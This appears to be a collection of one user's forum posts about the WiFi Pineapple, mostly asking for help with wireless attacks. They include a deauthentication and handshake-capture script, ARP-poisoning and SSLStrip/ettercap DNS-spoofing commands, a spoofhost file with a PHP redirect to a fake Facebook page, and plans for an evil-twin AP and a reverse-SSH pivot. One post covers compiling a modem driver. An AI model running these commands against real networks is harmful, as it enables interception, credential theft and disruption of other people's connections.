GarrettVD

What I'd like to do, as the title suggests is share the Internet connection I've established on the Realtek card of the Pineapple (wlan1 I believe) TO my PC running Ubuntu, either through the Pineapple's eth0 or wlan0 interfaces. How can I do this? Thanks,

That's all true man but where I'm having the issue is with capturing the intial 4-way handshake.

Yeah logging to /usb/ which is just a USB stick mounted via fstab Checking for handshakes in Wireshark using the .cap file, filtering with filter "eapol"

Isnt that pretty much the same thing?

I'm trying to capture a 4-way WPA handshake using the Aircrack-ng suite of tools, in order to capture a 4-way WPA handshake. The first issue was that, depite being in very close proximity, I was unable to see any clients in the terminal or .csv logs while running airodump-ng targeting a specific bssid on channel 1 + sending a few mass (ie. not targeted to a specific client MAC) deauth's every 15 seconds. No clients in the .CSV logs, yet I was able to see lots of probe responses from clients on the network, and beacons etc. (See screenshot #1) So I then tried to target a specific device MAC address on the network. (Screenshot #2) The device appeared under in the CSV log under Station MACs. But still, no WPA handshakes. Weird. So I checked the logs, and I can see that there is communication to the AP from the client, and vice-versa, but no handshakes. Hmmm. BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 6C:19:8F:E5:G5:1E, 2015-10-10 00:37:36, 2015-10-10 00:40:09, 1, 54, WPA2, CCMP TKIP,PSK, -54, 1106, 96, 0. 0. 0. 0, 6, KingEagle, Using the #!/bin/bash airmon-ng stop wlan1mon; \ ifconfig wlan1 down; \ ifconfig wlan0 down; \ macchanger -r wlan1; \ ifconfig wlan1 up; \ airmon-ng start wlan1 1; \ airodump-ng -c 1 --bssid 6C:19:8F:E5:G5:1E --showack --write /usb/airdump-log wlan1mon </dev/null &>/dev/null & \ while sleep 15; do aireplay-ng -0 5 -a 6C:19:8F:E5:G5:1E wlan1mon --ignore-negative-one; done I'm attaching a screenshot of the probe responses and deauthentication packets. Any help would be great! Thanks, Screenshot #1 - Mass Deauthentication Screenshot #2 - Targeting HonHai___

I am attempting to perform a MitM-style attack from my machine (MacBook Pro running 64-Bit Kali), by means of ARP-poisoning the communication between my router and my targetted machine (a MacBook Air running OSX Mavericks) on my WLAN (WPA2-secured network). In addition, I would like to employ a dns_spoof. I am using a combination of the following: - SSLStrip - Ettercap (with the dns_spoof plugin enabled). - urlsnarf - Wireshark (for examining post-test PCAP results) The commands I perform are as follows: iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain sslstrip -p -k -w /root/sslstrip.log iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 urlsnarf -i wlan0 | grep http > /root/session.txt # 192.168.2.1 = router, 192.168.2.130 = Macbook Air echo 1 > /proc/sys/net/ipv4/ip_forward; ettercap -T -q -i wlan0 -P dns_spoof -M arp:remote /192.168.2.1/ /192.168.2.130/ ettercap -T -i wlan0 -w /root/session.pcap -P dns_spoof -L /root/session -M arp:remote /192.168.2.1/ /192.168.2.130/ # This runs for a while,I then stop manually... and then clean up and examine results in Wireshark wireshark & killall sslstrip killall python killall urlsnarf iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain etterlog -p -i /root/session.eci I am able to intercept and decode http packets just fine. Unfortunately, I've had little success in capturing redirecting an HTTPS connection to an HTTP one (which I presume SSLStrip should be doing for me). I've tested by targeting multiple machines running different operating systems. For example, when I attempt to access https://www.foo.com/, I'd expect to be redirected to http://www.foo.com/. Instead, what happens is I will receive an untrusted certificate error (Windows 7 + IE, sometimes OSX Mavericks + Safari), a timeout (Mavericks + Safari, iPhone 4s + Safari). Furthermore, the dns_spoof doesn't load; just resolves the domain as it should. (see my /etc/ettercap/etter.dns configuration below). I've un-commented the iptables redirect commands within /etc/etter/etter.conf, as well as set the ec_uid and ec_gid to 0 (from the default of 65534) . . . [privs] ec_uid = 0 # nobody is the default ec_gid = 0 # nobody is the default . . . # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" . . . Alternatively, for a simple dnsspoof, I've tried a simple combination of arpsoof + dnsspoof. Doesn't work either. :( echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i wlan0 -t 192.168.2.130 192.168.2.1 dnsspoof -i wlan0 -f /root/hosts.txt I've Googled for a few days now, but after reading post-upon-post of the same ill-fated solutions, alternatives and workarounds, I'm kind of stumped, to say the least. Some configuration files can be seen below... Any help would be greatly appreciated. Thanks,

I ended up just modifying the iptables manually. iptables -t nat -A PREROUTING -i br-lan -p tcp -d foo.com -j DNAT --to 172.16.42.1 echo 1 > /proc/sys/net/ipv4/ip_forward

I was able to get the Sierra Wireless Aircard 330u to work on my Mark V; assuming the 320u is not far off. The driver is unfortunately not included by default in the factory Mark V firmware image. Luckily, the Makefile for the sierra_net module is included in the firmware source bundle and has already been adapted to use OpenWrt's Makefile syntax. It is located in the /package/sierra-directip/ directory of the Mark V source bundle. You gotta compile it though. Hope you've access to a Linux machine! Is your device modeswitching, or appearing at all when you issue an lsusb? If it is and you'd like to get more detail about its connection status / what band its locking onto, you can issue some AT commands to it via picocom (or some other means). Just add "src/gz attitude_adjustment http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/packages" to your /opkg/opkg.conf, and then run "opkg install picocom"... #install picocom opkg install picocom picocom -b 9600 -f n -p n -d 8 -r /dev/ttyUSB3 #swap 0 with whatever your command port is #run picocom, then issue a AT!GSTATUS? root@Pineapple:~# picocom -b 9600 -f n -p n -d 8 -r /dev/ttyUSB3 picocom v1.7 port is : /dev/ttyUSB3 flowcontrol : none baudrate is : 9600 parity is : none databits are : 8 escape is : C-a local echo is : no noinit is : no noreset is : yes nolock is : no send_cmd is : sz -vv receive_cmd is : rz -vv imap is : omap is : emap is : crcrlf,delbs, FATAL: cannot lock /dev/ttyUSB3: File exists root@Pineapple:~# picocom -b 9600 -f n -p n -d 8 -r /dev/ttyUSB ttyUSB0 ttyUSB1 ttyUSB2 ttyUSB3 ttyUSB4 ttyUSB5 root@Pineapple:~# ifdown wwan root@Pineapple:~# picocom -b 9600 -f n -p n -d 8 -r /dev/ttyUSB3 picocom v1.7 port is : /dev/ttyUSB3 flowcontrol : none baudrate is : 9600 parity is : none databits are : 8 escape is : C-a local echo is : no noinit is : no noreset is : yes nolock is : no send_cmd is : sz -vv receive_cmd is : rz -vv imap is : omap is : emap is : crcrlf,delbs, Terminal ready AT!GSTATUS? !GSTATUS: Current Time: 7019 Temperature: 29 Bootup Time: 1 Mode: ONLINE System mode: WCDMA PS state: Attached WCDMA band: WCDMA 850 WCDMA channel: 1037 GMM (PS) state:REGISTERED NORMAL SERVICE MM (CS) state: IDLE NORMAL SERVICE WCDMA L1 State:L1M_PCH_SLEEP RRC State: DISCONNECTED RX level C0: -86 LAC: DBEC (56300) RX level C1: -106 Cell ID: ---omitted-- OK ... so this tells me that its locking onto the WCDMA 850 channel... aka 3G. To get the thing to work, here is more or less what I did. Grab the source from... http://wiki.wifipineapple.com/uploads/source.tar.gz Follow the guide here to set up your environment for cross-compilation, set compilation target to linux-ar71xx_generic, etc... Before you build, do a double-check of the .config file in the base directory of the source-code bundle, to ensure that the line "# CONFIG_PACKAGE_kmod-usb-net-sierrawireless=is not set" has been replaced with "CONFIG_PACKAGE_kmod-usb-net-sierrawireless=y". Issue the "make" command in the base directory of the source-code bundle. After some time, the build should complete and file will be located at {source code root}/build_dir/linux-ar71xx_generic/linux-3.3.8/drivers/net/usb/sierra_net.ko Copy that file by whatever means is preferable, to /lib/modules/sierra_net.ko on your Pineapple. So using scp for example... scp {source code root}/build_dir/linux-ar71xx_generic/linux-3.3.8/drivers/net/usb/sierra_net.ko root@172.16.41.1:/lib/module/sierra_net.ko On your PIneapple, add "sierra_net" on a new line in the /etc/modules.d/61-usb-serial-wwan, below "usb_wwan". Create a symlink to that file from /etc/modules-boot.d/61-usb-serial-wwan. ln -s /etc/modules.d/61-usb-serial-wwan /etc/modules-boot.d/61-user-serial-wwan Add this to your /etc/config/network file on the Pineapple: config interface 'wwan' option proto '3g' option device '/dev/ttyUSB3' #swap with the path to the command port of your card... option apn 'lteinternet.apn' #swap with your APN option service 'umts' Note that I set the service to UMTS above... My card is locking to the Then just do ifup wwan... Should show up as something like "3g-wwan" in your ifconfig output.

Or rather, danke.

Yeah I managed to do just like you said Cooper, and it works fine that way. Thanks.

I'll preface this by saying yes, I have searched the forums in-depth for a working solution. The DNSSpoof functionality on my factory-flashed v1.4.1 firmware Mark V simple does not function I've configured the Mark V to host an access point on wlan0, to which I've connected with my iPhone. My Mark V is connected to my machine running Kali Linux via an ethernet cable. The Mark V has internet access provided via the wwan0 Sierra Wireless LTE modem on host maching (not the Pineapple as there don't appear to be supporting drivers). The clients of my AP on wlan0 have complete internet access this way, and I am able to browse just fine through my iPhone. But the DNSSpoof configuration simply doesn't work out-of-the-box. I've searched the /etc/pineapple/spoofhost and there are no extraneous ^M characters, as suggested in other threads. I've executed the dnsspoof command directly as suggested by Darren. When attempting to browse to facebook.com, the output is as follows. ifconfig output from the Pineapple, configured with my AP on wlan0: My /etc/pineapple/spoofhost file: 172.16.42.1 *.facebook.com 172.16.42.1 facebook.com After much mucking-around, I've settled on this for the /www/redirect.php file contents: <?php $ref = $_SERVER['HTTP_REFERER']; if (strpos($ref, "facebook")){ header('Location: facebook.html'); } require('index.html'); ?> iPhone Wi-Fi settings once connected are as follows: IP: 172.16.42.144 Subnet Mask: 255.255.255.0 Router: 172.16.42.1 DNS: 172.16.42.1 Search Domains: lan I just have no idea why this doesn't work.

Scenario: I have a WPA2-secured wireless network of which I know the password. Is it possible (with the Pineapple or via some other method) to connect mimic the MAC address, security, password of the target AP while performing a deauthentication attack on said router, in order to have network devices on the target AP's network automatically connect to my "cloned" AP? I understand that this works for open wireless network, just wondering if it will work (and if there is support for this) on secured-wireless networks? In this sense, I could run ettercap etc. on my cloned AP device, where I would not be able to had I simply connected to the target AP as client.

Hoping someone can help me out with this. My ideal setup with the Pineapple MK5 would look like this: [ Target AP ] <----> [ Pineapple ] <-- connected via a VPN, SSH relay, etc... --> [ Remote machine running Kali + Metasploit ] Basically what I'd like to do is access the target AP (a WPA2-secured network of which I have the psk) with the Pineapple on wlan1 in Client mode, and route the network connection back to my remote machine running Kali Linux + metasploit, be it through a reverse SSH connection, VPN connection, etc, in order to access network devices on the Target AP. I currently am able to reverse-SSH via a relay server I set up on Amazon EC2, but I am unsure of how to share the network connection of the target AP to my machine running Kali... Any ideas? What is the most practical way to connect to the Target AP and share that network?